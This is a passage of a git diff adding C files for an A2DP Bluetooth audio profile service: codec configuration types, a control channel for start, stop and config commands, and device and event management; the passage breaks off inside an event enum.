specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#ifndef __A2DP_CODEC_H__ +#define __A2DP_CODEC_H__ + +#include "a2dp_codec_aac.h" +#include "a2dp_codec_sbc.h" +#include "bt_vendor.h" + +#include <sys/types.h> + +typedef enum { + BTS_A2DP_TYPE_SBC, + BTS_A2DP_TYPE_MPEG1_2_AUDIO, + BTS_A2DP_TYPE_MPEG2_4_AAC, + BTS_A2DP_TYPE_ATRAC, + BTS_A2DP_TYPE_OPUS, + BTS_A2DP_TYPE_H263, + BTS_A2DP_TYPE_MPEG4_VSP, + BTS_A2DP_TYPE_H263_PROF3, + BTS_A2DP_TYPE_H263_PROF8, + BTS_A2DP_TYPE_LHDC, + BTS_A2DP_TYPE_NON_A2DP +} a2dp_codec_index_t; + +typedef uint32_t a2dp_codec_sample_rate_t; + +typedef enum { + BTS_A2DP_CODEC_BITS_PER_SAMPLE_8 = 0x0, + BTS_A2DP_CODEC_BITS_PER_SAMPLE_16 = 0x1, +} a2dp_codec_bits_per_sample_t; + +typedef enum { + BTS_A2DP_CODEC_CHANNEL_MODE_MONO = 0x0, + BTS_A2DP_CODEC_CHANNEL_MODE_STEREO = 0x1 +} a2dp_codec_channel_mode_t; + +typedef struct { + a2dp_codec_index_t codec_type; + a2dp_codec_sample_rate_t sample_rate; + a2dp_codec_bits_per_sample_t bits_per_sample; + a2dp_codec_channel_mode_t channel_mode; + uint16_t acl_hdl; + uint16_t l2c_rcid; + uint32_t bit_rate; + uint32_t frame_size; + uint32_t packet_size; + uint8_t specific_info[20]; + union { + sbc_param_t sbc; + aac_encoder_param_t aac; + } codec_param; +} a2dp_codec_config_t; + +a2dp_codec_config_t* a2dp_codec_get_config(void); +void a2dp_codec_set_config(uint8_t peer_sep, a2dp_codec_config_t* config); +void a2dp_codec_update_config(uint8_t peer_sep, a2dp_codec_config_t* config, uint16_t mtu); +bool a2dp_codec_get_offload_config(a2dp_offload_config_t* config); + +#endif diff --git a/service/profiles/a2dp/a2dp_control.c b/service/profiles/a2dp/a2dp_control.c new file mode 100644 index 0000000000000000000000000000000000000000..788c2f4543a689682110d4a5b3e9ee035df3287b --- /dev/null +++ b/service/profiles/a2dp/a2dp_control.c @@ -0,0 +1,363 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#include <stdio.h> +#include <stdlib.h> + +#include "service_loop.h" + +#include "a2dp_codec.h" +#include "a2dp_control.h" +#include "a2dp_sink.h" +#include "a2dp_source.h" +#include "a2dp_source_audio.h" +#include "audio_transport.h" + +#include "bt_utils.h" +#define LOG_TAG "a2dp_control" +#include "utils/log.h" + +audio_transport_t* a2dp_transport = NULL; + +static const char* audio_transport_path[] = { + CONFIG_BLUETOOTH_A2DP_SOURCE_CTRL_PATH, + CONFIG_BLUETOOTH_A2DP_SOURCE_DATA_PATH, + CONFIG_BLUETOOTH_A2DP_SINK_CTRL_PATH, + CONFIG_BLUETOOTH_A2DP_SINK_DATA_PATH +}; + +const char* audio_a2dp_hw_dump_ctrl_cmd(a2dp_ctrl_cmd_t cmd) +{ + switch (cmd) { + CASE_RETURN_STR(A2DP_CTRL_CMD_START) + CASE_RETURN_STR(A2DP_CTRL_CMD_STOP) + CASE_RETURN_STR(A2DP_CTRL_CMD_CONFIG_DONE) + DEFAULT_BREAK() + } + + return "UNKNOWN A2DP_CTRL_CMD"; +} + +static void a2dp_ctrl_event_with_data(uint8_t ch_id, a2dp_ctrl_evt_t event, uint8_t* data, uint8_t data_len) +{ + uint8_t stream[128]; + uint8_t* p = stream; + + /* set event code */ + UINT8_TO_STREAM(p, event); + if (data_len) { + /* if data length is not zero, set event data */ + ARRAY_TO_STREAM(p, data, data_len); + } + + /* send event */ + if (a2dp_transport != NULL) { + audio_transport_write(a2dp_transport, ch_id, stream, data_len + A2DP_CTRL_EVT_HEADER_LEN, NULL); + } +} + +void a2dp_control_event(uint8_t ch_id, a2dp_ctrl_evt_t evt) +{ + a2dp_ctrl_event_with_data(ch_id, evt, NULL, 0); +} + +void a2dp_control_update_audio_config(uint8_t ch_id, uint8_t isvalid) +{ + uint8_t buffer[64]; + uint8_t len; + uint8_t* p = buffer; + a2dp_codec_config_t* codec_config = a2dp_codec_get_config(); + + if (!isvalid) { + len = 1; + /* set valid code */ + UINT8_TO_STREAM(p, 0); + } else { + len = 29; + /* set valid code */ + UINT8_TO_STREAM(p, 1); + /* set codec type*/ + UINT32_TO_STREAM(p, codec_config->codec_type); + /* set sample rate*/ + UINT32_TO_STREAM(p, codec_config->sample_rate); + /* set bits_per_sample*/ + UINT32_TO_STREAM(p, codec_config->bits_per_sample); + /* set channel_mode*/ + UINT32_TO_STREAM(p, codec_config->channel_mode); + /* set bit rate*/ + UINT32_TO_STREAM(p, codec_config->bit_rate); + /* set frame size*/ + UINT32_TO_STREAM(p, codec_config->frame_size); + /* set packet size*/ + UINT32_TO_STREAM(p, codec_config->packet_size); + if (codec_config->codec_type == BTS_A2DP_TYPE_SBC) { + len += 20; + /* set sbc channel mode*/ + UINT32_TO_STREAM(p, codec_config->codec_param.sbc.s16ChannelMode); + /* set sbc number of blocks*/ + UINT32_TO_STREAM(p, codec_config->codec_param.sbc.s16NumOfBlocks); + /* set sbc number of subbands*/ + UINT32_TO_STREAM(p, codec_config->codec_param.sbc.s16NumOfSubBands); + /* set sbc allocation method*/ + UINT32_TO_STREAM(p, codec_config->codec_param.sbc.s16AllocationMethod); + /* set sbc bitpool*/ + UINT32_TO_STREAM(p, codec_config->codec_param.sbc.s16BitPool); + } else if (codec_config->codec_type == BTS_A2DP_TYPE_MPEG2_4_AAC) { + len += 8; + /* set aac object type*/ + UINT32_TO_STREAM(p, codec_config->codec_param.aac.u16ObjectType); + /* set aac vbr*/ + UINT32_TO_STREAM(p, codec_config->codec_param.aac.u16VariableBitRate); + } + } + + a2dp_ctrl_event_with_data(ch_id, A2DP_CTRL_EVT_UPDATE_CONFIG, buffer, len); +} + +static void a2dp_control_on_start(uint8_t ch_id) +{ + a2dp_ctrl_evt_t evt = A2DP_CTRL_EVT_START_FAIL; + + if (ch_id == AUDIO_TRANS_CH_ID_AV_SOURCE_CTRL) { +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + if (a2dp_source_stream_ready()) { + if (a2dp_source_prepare_start() == true) { + a2dp_source_stream_start(); + return; /* A2DP_CTRL_EVT_STARTED is send when A2DP started */ + } + evt = A2DP_CTRL_EVT_STARTED; + } else if (a2dp_source_stream_started()) { + evt = A2DP_CTRL_EVT_STARTED; + } else { + BT_LOGW("%s: A2DP command start while source stream is not ready", __func__); + evt = A2DP_CTRL_EVT_START_FAIL; + } +#endif + } else { +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + if (a2dp_sink_stream_ready() || a2dp_sink_stream_started()) { + evt = A2DP_CTRL_EVT_STARTED; + a2dp_sink_resume(); + } else { + BT_LOGW("%s: A2DP command start while sink stream is not ready", __func__); + evt = A2DP_CTRL_EVT_START_FAIL; + } +#endif + } + + a2dp_control_event(ch_id, evt); +} + +static void a2dp_control_on_stop(uint8_t ch_id) +{ +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + if (ch_id == AUDIO_TRANS_CH_ID_AV_SOURCE_CTRL && a2dp_source_stream_started()) { + a2dp_source_stream_prepare_suspend(); + /* A2DP_CTRL_EVT_STOPPED is send when offload stopped */ + } +#endif +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + if (ch_id == AUDIO_TRANS_CH_ID_AV_SINK_CTRL) { + a2dp_sink_mute(); + a2dp_control_event(ch_id, A2DP_CTRL_EVT_STOPPED); /* TODO: send event when flush ends */ + } +#endif +} + +static void a2dp_control_on_config_done(uint8_t ch_id) +{ +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + if (ch_id == AUDIO_TRANS_CH_ID_AV_SOURCE_CTRL) + a2dp_source_codec_state_change(); +#endif +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + if (ch_id == AUDIO_TRANS_CH_ID_AV_SINK_CTRL) + a2dp_sink_codec_state_change(); +#endif +} + +static void a2dp_recv_ctrl_data(uint8_t ch_id, a2dp_ctrl_cmd_t cmd) +{ + BT_LOGD("%s: a2dp-ctrl-cmd : %s", __func__, + audio_a2dp_hw_dump_ctrl_cmd(cmd)); + // check length + switch (cmd) { + case A2DP_CTRL_CMD_START: + a2dp_control_on_start(ch_id); + break; + + case A2DP_CTRL_CMD_STOP: + a2dp_control_on_stop(ch_id); + break; + + case A2DP_CTRL_CMD_CONFIG_DONE: + a2dp_control_on_config_done(ch_id); + break; + + default: + BT_LOGD("%s: UNSUPPORTED CMD (%d)", __func__, cmd); + break; + } + + BT_LOGD("%s: a2dp-ctrl-cmd : %s DONE", __func__, + audio_a2dp_hw_dump_ctrl_cmd(cmd)); +} + +static void a2dp_ctrl_buffer_alloc(uint8_t ch_id, uint8_t** buffer, size_t* len) +{ + *len = 128; + *buffer = malloc(*len); +} + +static void a2dp_ctrl_data_received(uint8_t ch_id, uint8_t* buffer, ssize_t len) +{ + a2dp_ctrl_cmd_t cmd; + uint8_t* pbuf = buffer; + + if (len <= 0) { + free(buffer); + if (len < 0) + audio_transport_read_stop(a2dp_transport, ch_id); + return; + } + + while (len) { + /* get cmd code*/ + STREAM_TO_UINT8(cmd, pbuf); + len--; + /* process cmd*/ + a2dp_recv_ctrl_data(ch_id, cmd); + } + // free the buffer alloced by a2dp_ctrl_buffer_alloc + free(buffer); +} + +static void a2dp_ctrl_start(uint8_t ch_id) +{ + audio_transport_read_start(a2dp_transport, ch_id, a2dp_ctrl_buffer_alloc, a2dp_ctrl_data_received); +} + +static void a2dp_ctrl_stop(uint8_t ch_id) +{ + audio_transport_read_stop(a2dp_transport, ch_id); +} + +static void a2dp_ctrl_cb(uint8_t ch_id, audio_transport_event_t event) +{ + BT_LOGD("%s, path:[%s], event:%s", __func__, audio_transport_path[ch_id], audio_transport_dump_event(event)); + + switch (event) { + case TRANSPORT_OPEN_EVT: + a2dp_ctrl_start(ch_id); +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + if (ch_id == AUDIO_TRANS_CH_ID_AV_SOURCE_CTRL && a2dp_source_stream_ready()) + a2dp_control_update_audio_config(ch_id, 1); +#endif +#ifdef CONFIG_BLUETOOTH_A2DP_SINK + if (ch_id == AUDIO_TRANS_CH_ID_AV_SINK_CTRL && a2dp_sink_stream_ready()) + a2dp_control_update_audio_config(ch_id, 1); +#endif + break; + + case TRANSPORT_CLOSE_EVT: + a2dp_ctrl_stop(ch_id); + break; + + default: + BT_LOGD("%s: ### A2DP-CTRL-CHANNEL EVENT %d NOT HANDLED ###", + __func__, event); + break; + } +} + +static void a2dp_data_cb(uint8_t ch_id, audio_transport_event_t event) +{ + BT_LOGD("%s, path:[%s], event:%s", __func__, audio_transport_path[ch_id], audio_transport_dump_event(event)); + + switch (event) { + case TRANSPORT_OPEN_EVT: + break; + + case TRANSPORT_CLOSE_EVT: + BT_LOGD("%s: ## AUDIO PATH DETACHED ##", __func__); +#ifdef CONFIG_BLUETOOTH_A2DP_SOURCE + if (a2dp_source_is_streaming()) + a2dp_source_stream_prepare_suspend(); +#endif + break; + + default: + BT_LOGD("%s: ### A2DP-DATA EVENT %d NOT HANDLED ###", __func__, + event); + break; + } +} + +void a2dp_control_init(uint8_t ctrl_id, uint8_t data_id) +{ + if (a2dp_transport == NULL) { + a2dp_transport = audio_transport_init(get_service_uv_loop()); + } + + if (ctrl_id != AUDIO_TRANS_CH_ID_AV_INVALID) { + audio_transport_open(a2dp_transport, ctrl_id, audio_transport_path[ctrl_id], a2dp_ctrl_cb); + } + + if (data_id != AUDIO_TRANS_CH_ID_AV_INVALID) { + audio_transport_open(a2dp_transport, data_id, audio_transport_path[data_id], a2dp_data_cb); + } +} + +transport_conn_state_t a2dp_control_get_state(uint8_t ch_id) +{ + if (a2dp_transport == NULL) { + return IPC_DISCONNTECTED; + } + + return audio_transport_get_state(a2dp_transport, ch_id); +} + +void a2dp_control_ch_close(uint8_t ctrl_id, uint8_t data_id) +{ + audio_transport_close(a2dp_transport, ctrl_id); + audio_transport_close(a2dp_transport, data_id); +} + +void a2dp_control_cleanup(void) +{ + /* don't close ipc when bt stack disable*/ + if (a2dp_transport) { + audio_transport_close(a2dp_transport, AUDIO_TRANS_CH_ID_ALL); + } + + a2dp_transport = NULL; +} diff --git a/service/profiles/a2dp/a2dp_control.h b/service/profiles/a2dp/a2dp_control.h new file mode 100644 index 0000000000000000000000000000000000000000..62b328530ae39823f5405aab23eef2d9b8dfcf13 --- /dev/null +++ b/service/profiles/a2dp/a2dp_control.h @@ -0,0 +1,66 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#ifndef __A2DP_CONTROL_H__ +#define __A2DP_CONTROL_H__ + +#include "audio_transport.h" + +#define A2DP_CTRL_EVT_HEADER_LEN 1 + +#define AUDIO_TRANS_CH_ID_AV_SOURCE_CTRL 0 +#define AUDIO_TRANS_CH_ID_AV_SOURCE_AUDIO 1 +#define AUDIO_TRANS_CH_ID_AV_SINK_CTRL 2 +#define AUDIO_TRANS_CH_ID_AV_SINK_AUDIO 3 +#define AUDIO_TRANS_CH_ID_AV_INVALID 0xFF + +typedef enum { + A2DP_CTRL_CMD_START, + A2DP_CTRL_CMD_STOP, + A2DP_CTRL_CMD_CONFIG_DONE +} a2dp_ctrl_cmd_t; + +typedef enum { + A2DP_CTRL_EVT_STARTED, + A2DP_CTRL_EVT_START_FAIL, + A2DP_CTRL_EVT_STOPPED, + A2DP_CTRL_EVT_UPDATE_CONFIG +} a2dp_ctrl_evt_t; + +extern void a2dp_control_init(uint8_t ctrl_id, uint8_t data_id); +extern void a2dp_control_ch_close(uint8_t ctrl_id, uint8_t data_id); +extern void a2dp_control_cleanup(void); +extern void a2dp_control_event(uint8_t ch_id, a2dp_ctrl_evt_t evt); +extern void a2dp_control_update_audio_config(uint8_t ch_id, uint8_t isvalid); +extern transport_conn_state_t a2dp_control_get_state(uint8_t ch_id); + +#endif diff --git a/service/profiles/a2dp/a2dp_device.c b/service/profiles/a2dp/a2dp_device.c new file mode 100644 index 0000000000000000000000000000000000000000..fee197cdb0d549ac66814d4623512bbdca86dde3 --- /dev/null +++ b/service/profiles/a2dp/a2dp_device.c @@ -0,0 +1,102 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#define LOG_TAG "a2dp_device" +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#include <stdlib.h> +#include <string.h> + +#include "a2dp_device.h" +#include "a2dp_state_machine.h" +#include "bt_utils.h" +#include "utils/log.h" + +a2dp_device_t* find_a2dp_device_by_addr(struct list_node* list, bt_address_t* bd_addr) +{ + a2dp_device_t* device; + struct list_node* node; + + list_for_every(list, node) + { + device = (a2dp_device_t*)node; + if (memcmp(&device->bd_addr, bd_addr, sizeof(bt_address_t)) == 0) + return device; + } + + return NULL; +} + +a2dp_device_t* a2dp_device_new(void* ctx, uint8_t peer_sep, bt_address_t* bd_addr) +{ + a2dp_device_t* device; + a2dp_state_machine_t* a2dp_sm; + + device = (a2dp_device_t*)malloc(sizeof(a2dp_device_t)); + if (!device) + return NULL; + + memcpy(&device->bd_addr, bd_addr, sizeof(bt_address_t)); + device->peer.bd_addr = &device->bd_addr; + a2dp_sm = a2dp_state_machine_new(ctx, peer_sep, bd_addr); + if (!a2dp_sm) { + BT_LOGE("Create state machine failed"); + free(device); + return NULL; + } + + device->a2dp_sm = a2dp_sm; + + return device; +} + +void a2dp_device_delete(a2dp_device_t* device) +{ + a2dp_event_t* a2dp_event; + + if (!device) + return; + + a2dp_event = a2dp_event_new(DISCONNECT_REQ, NULL); + a2dp_state_machine_handle_event(device->a2dp_sm, a2dp_event); + a2dp_event_destory(a2dp_event); + + a2dp_event = a2dp_event_new(DISCONNECTED_EVT, NULL); + a2dp_state_machine_handle_event(device->a2dp_sm, a2dp_event); + a2dp_event_destory(a2dp_event); + + a2dp_state_machine_destory(device->a2dp_sm); + list_delete(&device->node); + free((void*)device); +} diff --git a/service/profiles/a2dp/a2dp_device.h b/service/profiles/a2dp/a2dp_device.h new file mode 100644 index 0000000000000000000000000000000000000000..b5883cf91afe0e33e3089a2e85fdd0cf0299997b --- /dev/null +++ b/service/profiles/a2dp/a2dp_device.h @@ -0,0 +1,71 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#ifndef __A2DP_DEVICE_H__ +#define __A2DP_DEVICE_H__ +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "a2dp_codec.h" +#include "a2dp_event.h" +#include "a2dp_state_machine.h" +#include "bt_a2dp.h" +#include "bt_list.h" + +#define SEP_SRC 0 /* Source SEP */ +#define SEP_SNK 1 /* Sink SEP */ +#define SEP_INVALID 3 /* Invalid SEP */ + +#define SVR_SOURCE 0 +#define SVR_SINK 1 + +typedef struct { + bt_address_t* bd_addr; + uint8_t is_sink; + a2dp_codec_config_t codec_config; + uint16_t mtu; + uint16_t acl_hdl; +} a2dp_peer_t; + +typedef struct { + struct list_node node; + a2dp_state_machine_t* a2dp_sm; + bt_address_t bd_addr; + a2dp_peer_t peer; + uint8_t peer_sep; +} a2dp_device_t; + +a2dp_device_t* find_a2dp_device_by_addr(struct list_node* list, bt_address_t* bd_addr); +a2dp_device_t* a2dp_device_new(void* ctx, uint8_t peer_sep, bt_address_t* bd_addr); +void a2dp_device_delete(a2dp_device_t* device); + +#endif diff --git a/service/profiles/a2dp/a2dp_event.c b/service/profiles/a2dp/a2dp_event.c new file mode 100644 index 0000000000000000000000000000000000000000..4c8c2e590a41376fa88ce7e7c9952924f9f6b38d --- /dev/null +++ b/service/profiles/a2dp/a2dp_event.c @@ -0,0 +1,71 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#include <stdlib.h> +#include <string.h> + +#include "a2dp_event.h" + +a2dp_event_t* a2dp_event_new(a2dp_event_type_t event, + bt_address_t* bd_addr) +{ + return a2dp_event_new_ext(event, bd_addr, NULL, 0); +} + +a2dp_event_t* a2dp_event_new_ext(a2dp_event_type_t event, + bt_address_t* bd_addr, void* data, size_t size) +{ + a2dp_event_t* a2dp_event; + + a2dp_event = (a2dp_event_t*)zalloc(sizeof(a2dp_event_t)); + if (a2dp_event == NULL) + return NULL; + + a2dp_event->event = event; + + if (bd_addr != NULL) + memcpy(&a2dp_event->event_data.bd_addr, bd_addr, sizeof(bt_address_t)); + + if (size > 0) { + a2dp_event->event_data.size = size; + a2dp_event->event_data.data = malloc(size); + memcpy(a2dp_event->event_data.data, data, size); + } + + return a2dp_event; +} + +void a2dp_event_destory(a2dp_event_t* a2dp_event) +{ + free(a2dp_event->event_data.data); + free(a2dp_event); +} diff --git a/service/profiles/a2dp/a2dp_event.h b/service/profiles/a2dp/a2dp_event.h new file mode 100644 index 0000000000000000000000000000000000000000..9dd6b9fc8b1e528787b049e18657bb1e36990d4c --- /dev/null +++ b/service/profiles/a2dp/a2dp_event.h @@ -0,0 +1,95 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#ifndef __A2DP_EVENT_H__ +#define __A2DP_EVENT_H__ +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "a2dp_sink_audio.h" + +typedef enum { + A2DP_STARTUP = 1, + A2DP_SHUTDOWN, + CONNECT_REQ, + DISCONNECT_REQ, + STREAM_START_REQ, + DELAY_STREAM_START_REQ, + STREAM_SUSPEND_REQ, + 